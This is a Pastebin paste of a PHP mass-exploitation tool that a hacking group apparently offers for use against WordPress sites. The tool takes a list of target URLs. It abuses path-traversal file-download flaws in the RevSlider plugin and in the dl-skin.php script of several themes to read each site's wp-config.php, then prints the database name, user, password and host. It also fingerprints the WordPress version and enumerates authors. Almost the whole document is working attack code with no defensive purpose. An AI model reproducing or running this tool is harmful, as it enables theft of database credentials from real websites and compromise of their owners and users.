Advertisement
Kyfx

Wordpress ConfigAuto Exploiter Priv8 By AnonGhost

May 8th, 2015
577
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.22 KB | None | 0 0
  1. <html>
  2. <body>
  3. <pre><p><center>
  4. <h2><font color="green">Wordpress ConfigAuto Exploiter Priv8 By AnonGhost</font></h2>
  5. <h7>Like : https://www.facebook.com/pages/AnonGhost/353582141456952 </h7>
  6. <img src="http://computerandonlinesecurity.com/blog/wp-content/uploads/2009/12/WordPress-logo-broken.png" width=250 height=250>
  7.  
  8.  
  9. <pre>
  10. <form method='POST'>
  11. <textarea name='sites' cols='45' rows='15'></textarea>
  12. <input type='submit' value='READ CONFIG' /><br>
  13. </form>
  14.  
  15.  
  16. <?php
  17.  
  18. @set_time_limit(0);
  19.  
  20. $sites = explode("\r\n", $_POST['sites']);
  21.  
  22. foreach($sites as $site) {
  23.  
  24. $site = trim($site);
  25.  
  26. $ch = curl_init();
  27. curl_setopt($ch, CURLOPT_URL, "$site");
  28. curl_setopt($ch, CURLOPT_HEADER, 1);
  29. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  30. curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)");
  31. $get = curl_exec($ch);
  32. curl_close($ch);
  33. if(preg_match("#WordPress (.*?)/>#", $get, $version)){
  34. $str = str_replace('/>', "", $version[0]);
  35. $str = str_replace('"', "", $str);
  36. }
  37. $users = @file_get_contents("$site/?author=1");
  38. preg_match('/<title>(.*?)<\/title>/si',$users,$user);
  39.  
  40. echo " <br>-----------------------------------</br>";
  41. echo "<font color='blue'>$site</font><br>";
  42.  
  43.  
  44.  
  45. $ch = curl_init();
  46. curl_setopt($ch, CURLOPT_URL, "$site/wp-admin/admin-ajax.php?action=revslider_show_image&img=../wp-config.php");
  47. curl_setopt($ch, CURLOPT_HTTPGET, 1);
  48. curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
  49. curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)");
  50. $xp = curl_exec ($ch);
  51. curl_close($ch);
  52. if(preg_match("#DB_USER#i",$xp)){
  53. preg_match("#'DB_NAME', '(.*?)'#i",$xp,$DB_NAME);
  54. echo "<font color='green'>DB_NAME:</font><font color='red'>{$DB_NAME[1]}</font><br>";
  55. preg_match("#'DB_USER', '(.*?)'#i",$xp,$DB_USER);
  56. echo "<font color='green'>DB_USER:</font><font color='red'>{$DB_USER[1]}</font><br>";
  57. preg_match("#'DB_PASSWORD', '(.*?)'#i",$xp,$DB_PASSWORD);
  58. echo "<font color='green'>DB_PASSWORD:</font><font color='red'>{$DB_PASSWORD[1]}</font><br>";
  59. preg_match("#'DB_HOST', '(.*?)'#i",$xp,$DB_HOST);
  60. echo "<font color='green'>DB_HOST:</font><font color='red'>{$DB_HOST[1]}</font><br>";
  61.  
  62. }
  63.  
  64. $lt = array("wp-content/themes/construct/lib/scripts/dl-skin.php","wp-content/themes/persuasion/lib/scripts/dl-skin.php","wp-content/themes/manbiz2/lib/scripts/dl-skin.php","wp-content/themes/method/lib/scripts/dl-skin.php","wp-content/themes/elegance/lib/scripts/dl-skin.php","wp-content/themes/modular/lib/scripts/dl-skin.php","wp-content/themes/myriad/lib/scripts/dl-skin.php","wp-content/themes/echelon/lib/scripts/dl-skin.php","wp-content/themes/fusion/lib/scripts/dl-skin.php","wp-content/themes/awake/lib/scripts/dl-skin.php");
  65. foreach($lt as $l){
  66. $site = "$site/$l";
  67. $process = curl_init($site);
  68. curl_setopt($process, CURLOPT_TIMEOUT, 30);
  69. curl_setopt($process, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)");
  70. curl_setopt($process, CURLOPT_HEADER, TRUE);
  71. curl_setopt($process, CURLOPT_POST, 1);
  72. curl_setopt($process, CURLOPT_POSTFIELDS, "_mysite_download_skin=../../../../../wp-config.php");
  73. curl_setopt($process, CURLOPT_RETURNTRANSFER, 1);
  74. curl_setopt($process, CURLOPT_FOLLOWLOCATION, 1);
  75. $return = curl_exec($process);
  76. if(preg_match("#DB_USER#i",$return)){
  77. preg_match("#'DB_NAME', '(.*?)'#i",$return,$DB_NAME);
  78. echo "DB_NAME:{$DB_NAME[1]}<br>";
  79. preg_match("#'DB_USER', '(.*?)'#i",$return,$DB_USER);
  80. echo "DB_USER:{$DB_USER[1]}<br>";
  81. preg_match("#'DB_PASSWORD', '(.*?)'#i",$return,$DB_PASSWORD);
  82. echo "DB_PASSWORD:{$DB_PASSWORD[1]}<br>";
  83. preg_match("#'DB_HOST', '(.*?)'#i",$return,$DB_HOST);
  84. echo "DB_HOST:{$DB_HOST[1]}<br>";
  85. break;
  86. echo " <br>-----------------------------------</br>";
  87. ob_implicit_flush(true);
  88. ob_end_flush();
  89. }
  90. }
  91. }
  92.  
  93.  
  94.  
  95.  
  96.  
  97.  
  98. ?>
  99. </pre></p></center>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement